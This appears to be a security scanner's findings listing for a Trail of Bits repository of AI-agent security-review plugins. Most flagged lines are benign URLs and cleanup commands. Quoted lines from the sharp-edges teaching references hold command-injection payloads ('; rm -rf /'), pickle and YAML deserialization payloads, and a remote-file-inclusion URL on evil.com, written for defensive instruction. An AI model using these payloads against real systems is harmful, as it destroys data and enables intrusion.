  • Executable scriptline 1
    Executable file

plugins/post-patch-validation/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Scott Arciszewski",     "email": "opensource@trailofbits.com",     "url": "https://github.com/tob-scott-a"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/tob-scott-a"   }
  • Network accessline 8
    "url": "https://github.com/tob-scott-a"

plugins/post-patch-validation/skills/post-patch-validation/SKILL.md

  • Broad permissionsline 1
    Read Write Edit Grep Glob Bash Workflow
  • Access to secretsline 147
    [Credential-related source omitted]

plugins/post-patch-validation/skills/post-patch-validation/scripts/post_patch_validation.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 123
    [Credential-related source omitted]
  • Network accessline 151
    PLAN_SCHEMA: dict[str, Any] = {     "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 152
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Access to secretsline 265
    [Credential-related source omitted]
  • Access to secretsline 762
    [Credential-related source omitted]
  • Access to secretsline 764
    [Credential-related source omitted]

plugins/property-based-testing/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Henrik Brodin",     "url": "https://github.com/trailofbits"
  • Network accessline 6
    "name": "Henrik Brodin",     "url": "https://github.com/trailofbits"   }
  • Network accessline 7
    "url": "https://github.com/trailofbits"

plugins/property-based-testing/skills/property-based-testing/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/property-based-testing/skills/property-based-testing/references/libraries.md

  • Network accessline 77
    Tutorials: [secure-contracts.com](https://secure-contracts.com).

plugins/property-based-testing/skills/property-based-testing/references/refactoring.md

  • Network accessline 18
    # Before: the arithmetic is real but unreachable without a database def process_order(order_id: str) -> None:     order = db.fetch(order_id)
  • Network accessline 19
    def process_order(order_id: str) -> None:     order = db.fetch(order_id)     total = apply_discount(order, calculate_discount(order))
  • Network accessline 20
    order = db.fetch(order_id)
  • Network accessline 28
    def process_order(order_id: str) -> None:     order = db.fetch(order_id)
  • Network accessline 29
    order = db.fetch(order_id)
  • Access to secretsline 98
    [Credential-related source omitted]

plugins/regression-hunt/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Trail of Bits",     "url": "https://github.com/trailofbits"
  • Network accessline 6
    "name": "Trail of Bits",     "url": "https://github.com/trailofbits"   }
  • Network accessline 7
    "url": "https://github.com/trailofbits"

plugins/regression-hunt/scripts/registry.py

  • Executable scriptline 1
    Executable file
  • Executable scriptline 1
    Executable file

plugins/regression-hunt/scripts/report.py

  • Executable scriptline 1
    Executable file

plugins/regression-hunt/scripts/snapshot.py

  • Executable scriptline 1
    Executable file
  • Network accessline 46
    prefix = stream.read(1024)                 if prefix.split(b"\n", 1)[0].rstrip(b"\r") == (                     b"version https://git-lfs.github.com/spec/v1"
  • Network accessline 47
    if prefix.split(b"\n", 1)[0].rstrip(b"\r") == (                     b"version https://git-lfs.github.com/spec/v1"                 ):
  • Network accessline 48
    b"version https://git-lfs.github.com/spec/v1"

plugins/review-walkthrough/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Facundo Tuesca",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/review-walkthrough/skills/review-walkthrough/SKILL.md

  • Network accessline 69
    prose or snippets as `&lt;` and `&gt;`. Backticks and Markdown fences are literal text here. Supported inline tags also include `<sup>`, `<sub>`, `<kbd>`, `<del>`, and `<a href="https://…">`. The page sanitizes fragments and converts them t
  • Network accessline 70
    text here. Supported inline tags also include `<sup>`, `<sub>`, `<kbd>`, `<del>`, and `<a href="https://…">`. The page sanitizes fragments and converts them to Markdown when preparing a PR comment. Only safe link targets survive; arbitrary
  • Network accessline 71
    and `<a href="https://…">`. The page sanitizes fragments and converts them to

plugins/review-walkthrough/skills/review-walkthrough/scripts/render_walkthrough.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/review-walkthrough/skills/review-walkthrough/template.html

  • Network accessline 888
    parent.appendChild(document.createTextNode(node.textContent));     } else if (node.nodeType === 1) {       if (node.namespaceURI !== 'http://www.w3.org/1999/xhtml'
  • Network accessline 889
    } else if (node.nodeType === 1) {       if (node.namespaceURI !== 'http://www.w3.org/1999/xhtml'           || !FRAGMENT_TAGS_OK.test(node.localName)) {
  • Network accessline 890
    if (node.namespaceURI !== 'http://www.w3.org/1999/xhtml'

plugins/rust-review/skills/rust-review/SKILL.md

  • Broad permissionsline 1
    Agent AskUserQuestion SendMessage TaskCreate TaskUpdate TaskList Read Write Bash
  • Dangerous shell operationline 267
    # zsh-safe: `find … -delete` never aborts on no-match (an `rm PREFIX-*.md` glob would).
  • Dangerous shell operationline 270
    find "${output_dir}/findings" -maxdepth 1 -type f -name "${pfx}-*.md" -delete

plugins/second-opinion/skills/second-opinion/SKILL.md

  • Broad permissionsline 1
    Bash Read Glob Grep AskUserQuestion

plugins/second-opinion/skills/second-opinion/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/second-opinion/skills/second-opinion/references/antigravity-invocation.md

  • Network accessline 25
    The argument form also works with the previously tested CLI 1.1.21. Current [headless mode documentation](https://antigravity.google/docs/cli/headless/)
  • Network accessline 26
    Current [headless mode documentation](https://antigravity.google/docs/cli/headless/)
  • Instruction override signalline 37
    Request review findings in the final response. Do not use plan mode or `--dangerously-skip-permissions`. Preserve the user's permission settings;
  • Instruction override signalline 38
    `--dangerously-skip-permissions`. Preserve the user's permission settings;
  • Network accessline 46
    | Failure | Response | |---------|----------| | Executable missing | Check `~/.local/bin`, then report the [installation instructions](https://antigravity.google/docs/cli/getting-started) |
  • Network accessline 47
    |---------|----------| | Executable missing | Check `~/.local/bin`, then report the [installation instructions](https://antigravity.google/docs/cli/getting-started) | | Empty prompt | Use the attached `-p=` argument form |
  • Network accessline 48
    | Executable missing | Check `~/.local/bin`, then report the [installation instructions](https://antigravity.google/docs/cli/getting-started) |

plugins/second-opinion/skills/second-opinion/references/codex-invocation.md

  • Network accessline 33
    These options are documented in OpenAI's [non-interactive mode guide](https://learn.chatgpt.com/docs/non-interactive-mode).
  • Network accessline 34
    [non-interactive mode guide](https://learn.chatgpt.com/docs/non-interactive-mode).
  • Network accessline 35
    No MCP server is involved. The [Codex changelog](https://learn.chatgpt.com/docs/changelog) records removal of `codex mcp-server` in CLI 0.154.0.
  • Network accessline 36
    [Codex changelog](https://learn.chatgpt.com/docs/changelog) records removal

plugins/second-opinion/skills/second-opinion/references/gemini-invocation.md

  • Network accessline 27
    patch, focus, and project context. These flags were checked with Gemini CLI 0.59.0 `--help` on 2026-09-14. See the [headless mode reference](https://geminicli.com/docs/cli/headless/).
  • Network accessline 29
    [headless mode reference](https://geminicli.com/docs/cli/headless/).

plugins/semgrep-rule-creator/skills/semgrep-rule-creator/SKILL.md

  • Broad permissionsline 1
    Bash Read Write Edit Glob Grep WebFetch
  • Dangerous shell operationline 44
    pattern: eval(...)
  • Dangerous shell operationline 67
    pattern: os.system("rm " + $VAR)
  • Dangerous shell operationline 98
    **Why prioritize taint mode?** Pattern matching finds syntax but misses context. A pattern `eval($X)` matches both `eval(user_input)` (vulnerable) and `eval("safe_literal")` (safe). Taint mode tracks data flow, so it only alerts when untrus
  • Dangerous shell operationline 116
    message: User input passed to eval() allows code execution
  • Dangerous shell operationline 121
    - pattern: eval(...)
  • Dangerous shell operationline 127
    eval(request.args.get('code'))
  • Dangerous shell operationline 130
    eval("print('safe')")
  • Network accessline 159
    1. [Rule Syntax](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/rule-syntax.mdx)
  • Network accessline 160
    2. [Pattern Syntax](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/pattern-syntax.mdx)
  • Network accessline 161
    3. [Testing Rules](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/testing-rules.mdx)
  • Network accessline 162
    4. [Taint analysis](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/data-flow/taint-mode/overview.mdx)
  • Network accessline 163
    5. [Advanced techniques for taint analysis](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/data-flow/taint-mode/advanced.mdx)
  • Network accessline 164
    6. [Constant propagation](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/data-flow/constant-propagation.mdx)
  • Network accessline 165
    7. [Trail of Bits Testing Handbook - Semgrep chapter](https://raw.githubusercontent.com/trailofbits/testing-handbook/refs/heads/main/content/docs/static-analysis/semgrep/10-advanced.md)

plugins/semgrep-rule-creator/skills/semgrep-rule-creator/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/semgrep-rule-creator/skills/semgrep-rule-creator/references/quick-reference.md

  • Dangerous shell operationline 127
    - pattern: eval(...)

plugins/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/SKILL.md

  • Broad permissionsline 1
    Bash Read Write Edit Glob Grep WebFetch Workflow
  • Network accessline 220
    - [Pattern Syntax](https://semgrep.dev/docs/writing-rules/pattern-syntax) — metavariables and matching
  • Network accessline 221
    - [Pattern Examples](https://semgrep.dev/docs/writing-rules/pattern-examples) — per-language references, the most useful page when translating
  • Network accessline 222
    - [Testing Rules](https://semgrep.dev/docs/writing-rules/testing-rules) — annotation semantics
  • Network accessline 223
    - [Trail of Bits Testing Handbook](https://appsec.guide/docs/static-analysis/semgrep/advanced/) — advanced taint patterns

plugins/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md

  • Dangerous shell operationline 35
    pattern: eval($USER_INPUT)
  • Dangerous shell operationline 37
    # Go doesn't have eval() - what's the equivalent danger?
  • Network accessline 146
    - `"<target language> <vulnerability>"` (e.g., "java sql injection") - Standard library documentation - [Semgrep Pattern Examples](https://semgrep.dev/docs/writing-rules/pattern-examples) - Per-language pattern references
  • Network accessline 148
    - [Semgrep Pattern Examples](https://semgrep.dev/docs/writing-rules/pattern-examples) - Per-language pattern references

plugins/sharp-edges/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Trail of Bits",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/sharp-edges/skills/sharp-edges/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/sharp-edges/skills/sharp-edges/references/case-studies.md

  • Dangerous shell operationline 186
    # b"cos\nsystem\n(S'rm -rf /'\ntR."
  • Dangerous shell operationline 210
    # !!python/object/apply:os.system ['rm -rf /']

plugins/sharp-edges/skills/sharp-edges/references/config-patterns.md

  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Dangerous shell operationline 285
    new NetworkConfig(hostname: 'localhost; rm -rf /');

plugins/sharp-edges/skills/sharp-edges/references/lang-java.md

  • Network accessline 234
    // DANGEROUS: Even with DTD disabled factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 235
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 241
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 242
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 243
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

plugins/sharp-edges/skills/sharp-edges/references/lang-javascript.md

  • Dangerous shell operationline 159
    eval(userInput);
  • Dangerous shell operationline 169
    eval(`\`${template}\``);
  • Dangerous shell operationline 265
    | `eval(`, `Function(`, `setTimeout(string` | Code execution |

plugins/sharp-edges/skills/sharp-edges/references/lang-php.md

  • Network accessline 120
    // DANGEROUS: Remote File Inclusion (if allow_url_include=On) include($_GET['url']); // Attacker: ?url=http://evil.com/shell.php
  • Network accessline 122
    // Attacker: ?url=http://evil.com/shell.php
  • Dangerous shell operationline 167
    exec("grep " . $_GET['pattern'] . " file.txt");
  • Dangerous shell operationline 170
    // Attacker: ?dir=; rm -rf /

plugins/sharp-edges/skills/sharp-edges/references/lang-python.md

  • Dangerous shell operationline 36
    eval(user_input)      # Executes Python expression
  • Dangerous shell operationline 37
    exec(user_input)      # Executes Python statements
  • Dangerous shell operationline 41
    exec(code)
  • Dangerous shell operationline 44
    # In Python 2: input() == eval(raw_input())
  • Dangerous shell operationline 203
    eval(f'f"{user_input}"')  # Code execution
  • Dangerous shell operationline 244
    # user_input = "; rm -rf /" → command injection
  • Dangerous shell operationline 266
    | `eval(`, `exec(`, `compile(` | Code execution |

plugins/sharp-edges/skills/sharp-edges/references/lang-ruby.md

  • Dangerous shell operationline 7
    eval(user_input)
  • Dangerous shell operationline 106
    exec("ls #{params[:dir]}")
  • Dangerous shell operationline 109
    # Attacker: dir="; rm -rf /"
  • Dangerous shell operationline 198
    eval("\"#{template}\"")  # If template contains #{}
  • Dangerous shell operationline 262
    | `eval(`, `instance_eval(` | Code execution |

plugins/sharp-edges/skills/sharp-edges/references/language-specific.md

  • Dangerous shell operationline 484
    eval(user_input)      # Executes Python expression
  • Dangerous shell operationline 485
    exec(user_input)      # Executes Python statements
  • Dangerous shell operationline 489
    input()  # In Python 2, equivalent to eval(raw_input())
  • Dangerous shell operationline 540
    eval(user_input)           # Executes Ruby code

plugins/spec-to-code-compliance/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Omar Inuwa",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/spec-to-code-compliance/skills/spec-to-code-compliance/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/spec-to-code-compliance/skills/spec-to-code-compliance/resources/ANALYSIS_FORMAT.md

  • Possible obfuscationline 23
    <U+200B>```solidity
  • Possible obfuscationline 26
    <U+200B>```

plugins/static-analysis/skills/codeql/SKILL.md

  • Broad permissionsline 1
    Bash Read Write Edit Glob Grep AskUserQuestion TaskCreate TaskList TaskUpdate TaskGet
  • Network accessline 143
    echo "  gh extension install github/gh-codeql   # then: gh codeql install-stub" >&2   echo "  brew install --cask codeql" >&2   echo "  https://github.com/github/codeql-action/releases  (codeql-bundle)" >&2
  • Network accessline 144
    echo "  brew install --cask codeql" >&2   echo "  https://github.com/github/codeql-action/releases  (codeql-bundle)" >&2   exit 1
  • Network accessline 145
    echo "  https://github.com/github/codeql-action/releases  (codeql-bundle)" >&2
  • Network accessline 158
    # the whole build before failing. if ! command -v uv >/dev/null 2>&1; then   echo "ERROR: uv not found on PATH (https://docs.astral.sh/uv/getting-started/)" >&2
  • Network accessline 159
    if ! command -v uv >/dev/null 2>&1; then   echo "ERROR: uv not found on PATH (https://docs.astral.sh/uv/getting-started/)" >&2   exit 1
  • Network accessline 160
    echo "ERROR: uv not found on PATH (https://docs.astral.sh/uv/getting-started/)" >&2

plugins/static-analysis/skills/codeql/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/static-analysis/skills/codeql/references/build-fixes.md

  • Dangerous shell operationline 14
    rm -rf "$DB_NAME"
  • Dangerous shell operationline 26
    rm -rf build CMakeCache.txt CMakeFiles 2>/dev/null && CLEANED="$CLEANED cmake-artifacts"

plugins/static-analysis/skills/codeql/references/ruleset-catalog.md

  • Network accessline 53
    **Source:** [github.com/GitHubSecurityLab/CodeQL-Community-Packs](https://github.com/GitHubSecurityLab/CodeQL-Community-Packs)

plugins/static-analysis/skills/codeql/scripts/build_log.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/static-analysis/skills/codeql/scripts/check_db_quality.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/find_databases.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/static-analysis/skills/codeql/scripts/generate_suite.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 107
    rm -f "$SUITE_FILE"

plugins/static-analysis/skills/codeql/scripts/test_build_log.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/test_build_mode_claims.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/test_check_db_quality.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/test_find_databases.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/test_generation_scripts.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 187
    [Credential-related source omitted]

plugins/static-analysis/skills/codeql/scripts/test_script_flags.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/test_section_pointers.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/test_shell_blocks.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/test_suite_templates.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/test_verify_query_suite.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/scripts/verify_query_suite.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/codeql/workflows/create-data-extensions.md

  • Network accessline 266
    - [Threat models reference](../references/threat-models.md) — control which source categories are active during analysis - [CodeQL data extensions](https://codeql.github.com/docs/codeql-cli/using-custom-queries-with-the-codeql-cli/#using-ex
  • Network accessline 267
    - [CodeQL data extensions](https://codeql.github.com/docs/codeql-cli/using-custom-queries-with-the-codeql-cli/#using-extension-packs)
  • Network accessline 268
    - [Customizing library models](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-python/)

plugins/static-analysis/skills/sarif-parsing/SKILL.md

  • Broad permissionsline 1
    Bash Read Glob Grep
  • Network accessline 244
    aggregated = {         "version": "2.1.0",         "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  • Network accessline 245
    "version": "2.1.0",         "$schema": "https://json.schemastore.org/sarif-2.1.0.json",         "runs": []
  • Network accessline 246
    "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  • Network accessline 487
    - [OASIS SARIF 2.1.0 Specification](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html)
  • Network accessline 488
    - [Microsoft SARIF Tutorials](https://github.com/microsoft/sarif-tutorials)
  • Network accessline 489
    - [SARIF SDK (.NET)](https://github.com/microsoft/sarif-sdk)
  • Network accessline 490
    - [sarif-tools (Python)](https://github.com/microsoft/sarif-tools)
  • Network accessline 491
    - [pysarif (Python)](https://github.com/Kjeld-P/pysarif)
  • Network accessline 492
    - [GitHub SARIF Support](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning)
  • Network accessline 493
    - [SARIF Validator](https://sarifweb.azurewebsites.net/)

plugins/static-analysis/skills/sarif-parsing/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/static-analysis/skills/sarif-parsing/resources/fixtures/codeql-no-level.sarif

  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/sarif-2.1.0.json",

plugins/static-analysis/skills/sarif-parsing/resources/fixtures/levels-on-results.sarif

  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/sarif-2.1.0.json",

plugins/static-analysis/skills/sarif-parsing/resources/sarif_helpers.py

  • Executable scriptline 1
    Executable file
  • Network accessline 299
    merged = {         "version": "2.1.0",         "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  • Network accessline 300
    "version": "2.1.0",         "$schema": "https://json.schemastore.org/sarif-2.1.0.json",         "runs": [],
  • Network accessline 301
    "$schema": "https://json.schemastore.org/sarif-2.1.0.json",

plugins/static-analysis/skills/sarif-parsing/resources/test_sarif_helpers.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/semgrep/SKILL.md

  • Broad permissionsline 1
    Bash Read Glob AskUserQuestion TaskCreate TaskList TaskUpdate
  • Network accessline 89
    **Required:** Semgrep CLI (`semgrep --version`). If not installed, see [Semgrep installation docs](https://semgrep.dev/docs/getting-started/).

plugins/static-analysis/skills/semgrep/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/static-analysis/skills/semgrep/references/rulesets.md

  • Network accessline 126
    | Languages | Source | Why Required | |-----------|--------|--------------| | Python, Go, Ruby, JS/TS, Terraform, HCL | [Trail of Bits](https://github.com/trailofbits/semgrep-rules) | Security audit patterns from real engagements (AGPLv3) |
  • Network accessline 127
    |-----------|--------|--------------| | Python, Go, Ruby, JS/TS, Terraform, HCL | [Trail of Bits](https://github.com/trailofbits/semgrep-rules) | Security audit patterns from real engagements (AGPLv3) | | C, C++ | [0xdea](https://github.com
  • Network accessline 128
    | Python, Go, Ruby, JS/TS, Terraform, HCL | [Trail of Bits](https://github.com/trailofbits/semgrep-rules) | Security audit patterns from real engagements (AGPLv3) |
  • Network accessline 129
    | C, C++ | [0xdea](https://github.com/0xdea/semgrep-rules) | Memory safety, low-level vulnerabilities |
  • Network accessline 130
    | Solidity, Cairo, Rust | [Decurity](https://github.com/Decurity/semgrep-smart-contracts) | Smart contract vulnerabilities, DeFi exploits |
  • Network accessline 131
    | Go | [dgryski](https://github.com/dgryski/semgrep-go) | Additional Go-specific patterns |
  • Network accessline 132
    | Android (Java/Kotlin) | [MindedSecurity](https://github.com/mindedsecurity/semgrep-rules-android-security) | OWASP MASTG-derived mobile security rules |
  • Network accessline 133
    | Java, Go, JS/TS, C#, Python, PHP | [elttam](https://github.com/elttam/semgrep-rules) | Security consulting patterns |
  • Network accessline 134
    | Dockerfile, PHP, Go, Java | [kondukto](https://github.com/kondukto-io/semgrep-rules) | Container and web app security |
  • Network accessline 135
    | PHP, Kotlin, Java | [dotta](https://github.com/federicodotta/semgrep-rules) | Pentest-derived web/mobile app rules |
  • Network accessline 136
    | Terraform, HCL | [HashiCorp](https://github.com/hashicorp-forge/semgrep-rules) | HashiCorp infrastructure patterns |
  • Network accessline 137
    | Swift, Java, Cobol | [akabe1](https://github.com/akabe1/akabe1-semgrep-rules) | iOS and legacy system patterns |
  • Network accessline 138
    | Java | [Atlassian Labs](https://github.com/atlassian-labs/atlassian-sast-ruleset) | Atlassian-maintained Java rules |
  • Network accessline 139
    | Python, JS/TS, Java, Ruby, Go, PHP | [Apiiro](https://github.com/apiiro/malicious-code-ruleset) | Malicious code detection, supply chain |
  • Network accessline 150
    Or browse the [Semgrep Registry](https://semgrep.dev/explore).
  • Network accessline 158
    "javascript": ["p/javascript", "p/react", "p/nodejs"],   "docker": ["p/dockerfile"],   "third_party": ["https://github.com/trailofbits/semgrep-rules"]
  • Network accessline 159
    "docker": ["p/dockerfile"],   "third_party": ["https://github.com/trailofbits/semgrep-rules"] }
  • Network accessline 160
    "third_party": ["https://github.com/trailofbits/semgrep-rules"]

plugins/static-analysis/skills/semgrep/references/scan-modes.md

  • Dangerous shell operationline 111
    rm -f "$out"

plugins/static-analysis/skills/semgrep/scripts/merge_sarif.py

  • Executable scriptline 1
    Executable file
  • Network accessline 165
    merged = {         "version": "2.1.0",         "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  • Network accessline 166
    "version": "2.1.0",         "$schema": "https://json.schemastore.org/sarif-2.1.0.json",         "runs": [],
  • Network accessline 167
    "$schema": "https://json.schemastore.org/sarif-2.1.0.json",

plugins/static-analysis/skills/semgrep/scripts/run-scans.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 38
    --output-dir DIR   absolute path for results; raw/ and repos/ are created under it   --mode MODE        run-all | important-only   --rulesets FILE    JSON: {"baseline":[...], "<language>":[...], "third_party":["https://..."]}
  • Network accessline 39
    --mode MODE        run-all | important-only   --rulesets FILE    JSON: {"baseline":[...], "<language>":[...], "third_party":["https://..."]}   --pro              add --pro to every command (Semgrep Pro engine)
  • Network accessline 40
    --rulesets FILE    JSON: {"baseline":[...], "<language>":[...], "third_party":["https://..."]}
  • Dangerous shell operationline 148
    find "$dir" \( -name '*.yaml' -o -name '*.yml' \) -type f "$@" -print -delete
  • Network accessline 279
    jq -e '   (.third_party // [])   | all(type == "string" and test("^https://[A-Za-z0-9.-]+(:[0-9]+)?(/[A-Za-z0-9._-]+)+(\\.git)?/?$"))
  • Network accessline 280
    (.third_party // [])   | all(type == "string" and test("^https://[A-Za-z0-9.-]+(:[0-9]+)?(/[A-Za-z0-9._-]+)+(\\.git)?/?$")) ' "$RULESETS_FILE" >/dev/null 2>&1 || die "third_party entries must be https git URLs"
  • Network accessline 281
    | all(type == "string" and test("^https://[A-Za-z0-9.-]+(:[0-9]+)?(/[A-Za-z0-9._-]+)+(\\.git)?/?$"))
  • Dangerous shell operationline 309
    cleanup() { rm -rf "$WORK"; }
  • Dangerous shell operationline 352
    eval "$__name=()"
  • Dangerous shell operationline 355
    eval "$__name+=(\"\$__line\")"
  • Dangerous shell operationline 387
    rm -rf "$RAW_DIR"
  • Dangerous shell operationline 408
    rm -rf "$dest"
  • Dangerous shell operationline 439
    rm -rf "$dest"
  • Dangerous shell operationline 543
    # than a string run through eval: `eval "$cmd" &` reports exit status 1 whatever the command
  • Network accessline 730
    jq -nc --arg lang "$lang" --arg ruleset "$ruleset" --arg json "$json" \
  • Network accessline 739
    err=$(tail -c 800 "$WORK/err.$stem" 2>/dev/null || true)     [ -n "$err" ] || err="semgrep exited $rc"     jq -nc --arg lang "$lang" --arg ruleset "$ruleset" --arg json "$json" \
  • Network accessline 740
    [ -n "$err" ] || err="semgrep exited $rc"     jq -nc --arg lang "$lang" --arg ruleset "$ruleset" --arg json "$json" \       --arg sarif "$sarif" --arg error "$err" \
  • Network accessline 741
    jq -nc --arg lang "$lang" --arg ruleset "$ruleset" --arg json "$json" \

plugins/static-analysis/skills/semgrep/scripts/test_merge_sarif.py

  • Executable scriptline 1
    Executable file

plugins/static-analysis/skills/semgrep/workflows/scan-workflow.md

  • Network accessline 68
    if ! command -v semgrep >/dev/null 2>&1; then   echo "ERROR: semgrep is not installed. Install from https://semgrep.dev/docs/getting-started/"
  • Network accessline 69
    echo "ERROR: semgrep is not installed. Install from https://semgrep.dev/docs/getting-started/"
  • Network accessline 168
    "javascript": ["p/javascript", "p/react", "p/nodejs"],   "docker": ["p/dockerfile"],   "third_party": ["https://github.com/trailofbits/semgrep-rules"]
  • Network accessline 169
    "docker": ["p/dockerfile"],   "third_party": ["https://github.com/trailofbits/semgrep-rules"] }
  • Network accessline 170
    "third_party": ["https://github.com/trailofbits/semgrep-rules"]
  • Network accessline 223
    **Third-party (auto-included for detected languages):** - [x] Trail of Bits rules - https://github.com/trailofbits/semgrep-rules
  • Network accessline 224
    - [x] Trail of Bits rules - https://github.com/trailofbits/semgrep-rules
  • Network accessline 277
